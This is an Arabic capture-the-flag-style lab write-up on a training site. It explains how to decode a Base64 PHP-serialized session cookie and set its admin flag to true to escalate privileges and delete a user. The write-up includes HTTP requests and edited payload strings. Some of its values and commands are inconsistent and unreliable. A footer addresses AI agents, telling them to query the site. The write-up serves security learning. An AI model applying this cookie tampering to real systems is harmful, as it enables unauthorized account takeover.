> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/deserialization/editing-serialized-objects.md).

# تحرير الكائنات المُسلسلة

### تعديل الكائنات المُسلسلة

يستخدم هذا المختبر آلية جلسة تعتمد على **التسلسل** ويعرض ثغرة تسمح بـ **تصعيد الامتيازات**. / الهدف هو تعديل الكائن المُسلسل المخزن في ملف تعريف الارتباط للجلسة للحصول على صلاحيات المسؤول، ثم حذف المستخدم **carlos**.

يتم توفير حساب مستخدم للبدء:

* **المعرّف**: wiener
* **كلمة المرور**: peter

**الملاحظة الأولية**

بعد المصادقة، يتم إرسال طلب تسجيل دخول:

```http
POST /login HTTP/2
Host: 0a66003e03add3bb824ef63c001200c9.web-security-academy.net
Cookie: session=
Content-Length: 30

username=wiener&password=peter
```

يستجيب الخادم بملف تعريف ارتباط للجلسة:

```http
Set-Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d;
```

**تحليل ملف تعريف ارتباط الجلسة**

محتوى ملف تعريف الارتباط مُرمّز بصيغة Base64. / بعد فك الترميز، ستحصل على كائن PHP مُسلسل:

```bash
O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:0;}
```

يتضمن هذا الكائن:

* اسم المستخدم (`اسم المستخدم`)
* مؤشر امتياز المسؤول (`admin`)، مُعرّف في `خاطئة` (`b:0`)

```http
echo "O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:0;}" | base64 ; echo
```

إعادة ترميز الكائن بصيغة Base64:

```bash
Tzo0OlVzZXI6Mjp7czo4OnVzZXJuYW1lO3M6NjpjYXJsb3M7czo1OmFkbWluO2I6MDt9Cg==
```

<figure><img src="/files/f3434c1681b2f26066bd93073e4ea331eaf646ab" alt=""><figcaption></figcaption></figure>

**تعديل الكائن المُسلسل**

يمكن تعديل الكائن من جهة العميل قبل إرجاعه إلى الخادم.

1. تغيير اسم المستخدم إلى **carlos**:
2. تفعيل صلاحيات المسؤول عبر تعيين `admin` إلى `صحيحة`:

```bash
echo "O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:1;}" | base64 ; echo
```

3. إعادة ترميز الكائن بصيغة Base64:

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czo1OiJhZG1pbiI7YjoxO30lM2Q=
```

**الاستغلال**

يتم استبدال ملف تعريف ارتباط الجلسة بالقيمة المعدلة الجديدة.

<figure><img src="/files/6c810d16cb5bb6e031338b8cbb3ab28799a3566d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/deserialization/editing-serialized-objects.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
